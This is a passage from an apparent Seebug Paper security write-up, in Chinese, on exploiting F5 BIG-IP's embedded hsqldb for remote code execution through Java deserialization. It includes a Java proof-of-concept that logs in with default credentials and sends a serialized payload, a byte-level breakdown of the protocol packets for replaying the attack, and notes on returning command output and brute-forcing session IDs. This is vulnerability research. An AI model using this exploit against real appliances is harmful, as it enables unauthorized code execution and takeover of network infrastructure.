1234567891011121314public static void testLocal() throws IOException, ClassNotFoundException, SQLException {String url = "http://localhost:8080";String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));System.out.println(payload);String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";Class.forName("org.hsqldb.jdbcDriver");Connection connection = DriverManager.getConnection(dburl, "sa", "");Statement statement = connection.createStatement();statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");}利用requests发包模拟hsqldb RCE
java hsqldb https问题无法解决,那就用requests来发https包就可以了,先模拟http的包。
抓取上面利用java代码发送的payload包,一共发送了三个,第一个是连接包,连接hsqldb数据库的,第二、三包是执行语句的包:
根据代码看下第一个数据包返回的具体信息,主要读取与写入的信息都是由Result这个类处理的,一共20个字节:
- 1~4:总长度00000014,共20字节
- 5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001
- 9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000
- 13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003
- 17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000
连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:
- 1~4:总长度00000082,这里为130
- 5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b
- 9~12:databaseID,为上面的00000000
- 13~16:sessionID,为上面的00000003
- 17~20:updateCount,为上面的00000000
- 21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000
- 26~30:执行语句的长度
- 31~:后面都是执行语句了
可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。
反序列化触发位置
这里反序列化触发位置在:
其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的,而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以,例如
org.hsqldb.sample.FindFile.main
。F5 BIG-IP hsqldb调试
如果还想调试下F5 BIG-IP hsqldb,也是可以的,F5 BIG-IP里面的hsqldb自己加了些代码,反编译他的代码,然后修改反编译出来的代码错误,再重新打包放进去,就可以调试了。
F5 BIG-IP hsqldb回显
- 既然能反序列化了,那就可以结合Template相关的利用链写到response
- 利用命令执行找socket的fd文件,写到socket
- 这次本来就有一个fileRead.jsp,命令执行完写到这里就可以了
hsqldb的连接安全隐患
从数据包可以看到,hsqldb第一次返回信息并不多,在后面附加用到的信息也就databaseID,sessionID,updateCount,且都只为4字节(32位),但是总有数字很小的连接排在前面,所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP,直接用上面默认的就行了,无需爆破。
总结
虽然写得不多,写完了看起来还挺容易,不过过程其实还是很艰辛的,一开始并不是根据代码看包的,只是发了几个包对比然后就写了个脚本,结果跑不了F5 BIG-IP hsqldb,后面还是调试了F5 hsqldb代码,很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的,如果我们直接爆破databaseID,sessionID,updateCount,也很容易爆破出可用的databaseID,sessionID,updateCount。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1271/